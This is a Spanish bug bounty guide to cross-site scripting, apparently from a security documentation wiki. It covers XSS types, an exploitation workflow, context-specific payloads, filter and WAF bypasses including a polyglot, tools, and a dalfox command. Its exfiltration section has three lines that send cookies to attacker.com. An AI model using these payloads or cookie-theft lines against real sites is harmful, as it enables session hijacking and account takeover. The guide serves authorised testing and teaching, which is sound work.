> For the complete documentation index, see [llms.txt](https://chubu.gitbook.io/chubu/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://chubu.gitbook.io/chubu/vulnerabilidades-en-web-apps/xss-cross-site-scripting.md).

# XSS (Cross-Site Scripting)

Make Alert'em all!

XSS (Cross-Site Scripting) es una de las vulnerabilidades más clásicas y todavía más rentables en bug bounty cuando se encuentra en contextos de alto impacto (sesión de admin, acciones privilegiadas, robo de tokens, etc.). Todo lo que sigue está orientado a testing autorizado, entornos controlados y reportes responsables. 

#### Definición técnica rápida

XSS ocurre cuando una aplicación web incluye datos no confiables en una página HTML/JavaScript sin el encoding o sanitización correcta, permitiendo que el navegador del víctima ejecute código controlado por el atacante en el contexto de origen de la aplicación (same-origin).

Impacto típico en bug bounty:

* Robo de cookies/sesiones (si no hay HttpOnly + Secure + SameSite).
* Keylogging, phishing interno, CSRF forzado, defacement temporal.
* Escalada a Account Takeover cuando se combina con falta de CSP estricta o tokens en localStorage.
* En apps modernas: exfiltración de datos via fetch/XMLHttpRequest o abuso de postMessage.

### Clasificaciones:

\ <mark style="color:red;">**Reflected XSS**</mark> La entrada del usuario (parámetro GET/POST, header, etc.) se refleja de forma inmediata en la respuesta HTTP sin encoding. No persiste. Se ejecuta solo cuando la víctima visita la URL maliciosa. Detección trivial con scanners o Burp. En bug bounty suele pagar poco si el impacto se limita a un alert, pero escala si permite robo de sesión o acciones privilegiadas.

<mark style="color:red;">**Stored XSS**</mark> El payload se almacena en base de datos o sistema de archivos (comentarios, perfiles, tickets, logs) y se sirve a cualquier usuario que visualice el recurso. Persistente. Se ejecuta cada vez que se carga la página afectada. Detección media (requiere recorrer flujos de escritura + lectura). Alto valor en bug bounty por impacto masivo y potencial de Account Takeover.

<mark style="color:red;">**DOM-based XSS**</mark> La vulnerabilidad vive enteramente en el JavaScript del cliente: una fuente controlable (location, document.referrer, postMessage, localStorage…) llega a un sink peligroso (innerHTML, eval, document.write, jQuery .html(), etc.) sin pasar por el servidor. Persistencia variable. Solo se ejecuta en el navegador de la víctima. Detección difícil: exige análisis estático del JS + depuración dinámica (DOM Invader, breakpoints). Muy subestimado y frecuentemente bien pagado.

<mark style="color:red;">**Blind / Persistent Blind XSS**</mark> El payload se almacena y se ejecuta en un contexto que el atacante no ve directamente (panel de administración, sistema de tickets interno, logs de soporte, emails renderizados, etc.). Persistente. Impacto en usuarios privilegiados. Detección alta (necesita infraestructura de callback: XSS Hunter, interactsh, o self-hosted). Considerado “oro” en bug bounty por el acceso a sesiones de alto privilegio.

<mark style="color:red;">**Mutation XSS (mXSS)**</mark> El navegador o el parser HTML muta el markup de forma inesperada (normalización, corrección de etiquetas, cambio de contexto) y convierte un payload aparentemente inofensivo en código ejecutable después de pasar por innerHTML, sanitizadores defectuosos o filtros. No tiene persistencia propia. Se manifiesta tras la mutación del DOM. Detección alta. Principalmente usado como técnica de bypass de filtros y WAF.

### Flujo de explotacion

* <mark style="color:$danger;">**Identificar fuente**</mark> (entrada de usuario): query params, body, headers (`Referer, User-Agent, X-Forwarded-For`), cookies, fragment `(#)` , postMessage, localStorage, etc.
* <mark style="color:$danger;">**Identificar sink**</mark> (dónde se usa sin encoding):
  * HTML context: `innerHTML, document.write, jQuery.html()`, templates.
  * Attribute context: `href`, `src`, `on*`, `style`.
  * JavaScript context: `eval`, `setTimeout`, `Function()`, template literals.
  * URL context: `location`, `window.open`.
* <mark style="color:$danger;">**Probar reflection / almacenamiento**</mark>.
* <mark style="color:$danger;">**Determinar contexto de salida**</mark> (el encoding necesario cambia radicalmente).
* <mark style="color:$danger;">**Bypass de filtros / WAF / CSP**</mark><mark style="color:$danger;">.</mark>
* <mark style="color:$danger;">**Impacto real**</mark>: no te quedes en `alert(1)`. Demuestra session hijacking, acciones privilegiadas o data exfil.

## Payloads y contextos&#x20;

### **HTML context (más simple):**

```html
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
```

### Attribute context (comillas rotas):

```html
" onfocus=alert(1) autofocus="
' onmouseover=alert(1) '
```

### Javascript context

```
';alert(1)//
</script><script>alert(1)</script>
```

### DOM-based clásico (fuente location.hash → sink innerHTML):

```js
// Vulnerable
document.getElementById('x').innerHTML = location.hash.slice(1);
// Payload: # <img src=x onerror=alert(1)>
```

### **Bypass de filtros comunes:**

* Case variation / encoding: `<ScRiPt>, %3Cscript%3E, \x3cscript\x3e`
* Event handlers sin script: `onpointerover`, `onanimationstart`, `onfocus`
* SVG / MathML: `<svg><animate onbegin=alert(1)>`
* Mutation: `<noscript><p title="</noscript><img src=x onerror=alert(1)>">`
* Polyglots (funcionan en varios contextos):

```
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
```

### Exfiltración moderna (sin alert):

```js
fetch('https://attacker.com/?c='+document.cookie)
new Image().src='https://attacker.com/?c='+btoa(document.cookie)
navigator.sendBeacon('https://attacker.com', document.cookie)
```

#### Herramientas (stack real de bug bounty)

**Reconocimiento / descubrimiento**

* Burp Suite Professional (Repeater + Intruder + DOM Invader + Scanner)
* Caido / ZAP
* XSStrike (rápido para reflected)
* Dalfox (muy bueno, Go, rápido, soporta DOM, blind, pipelines)
* Gxss + hakrawler / katana (para cazar reflections a escala)
* DOMPurify tester + CSP Evaluator

**Análisis DOM**

* DOM Invader (Burp)
* Retire.js / Snyk Code / Semgrep con reglas XSS
* Chrome DevTools → Sources → Event Listener Breakpoints + DOM Breakpoints
* `domlogger` o extensiones como XSS Ray

**Blind XSS**

* XSS Hunter (o self-hosted: xsshunter-express, bXSS, interactsh + payloads custom)
* Payload con webhook + screenshot + cookies + localStorage

**Bypass / WAF**

* HackBar, PayloadAllTheThings, PortSwigger XSS cheat sheet (la biblia)
* WAF bypass collections de Swissky / PayloadBox
* `unicode`, `HTML entities`, `JSFuck`, `aaencode` cuando hay filtros agresivos

### Testing automatizado controlado:

```bash
# Ejemplo rápido con dalfox
dalfox url "https://target.com/search?q=FUZZ" --blind https://your-xss-hunter.com
```

### Recursos de referencia sólida&#x20;

* PortSwigger Web Security Academy – XSS (gratis y excelente)
* OWASP XSS Prevention Cheat Sheet
* PayloadAllTheThings / XSS section
* HackTricks XSS
* Libro: “The Web Application Hacker’s Handbook” (capítulo XSS) + material moderno de LiveOverflow / STÖK / NahamSec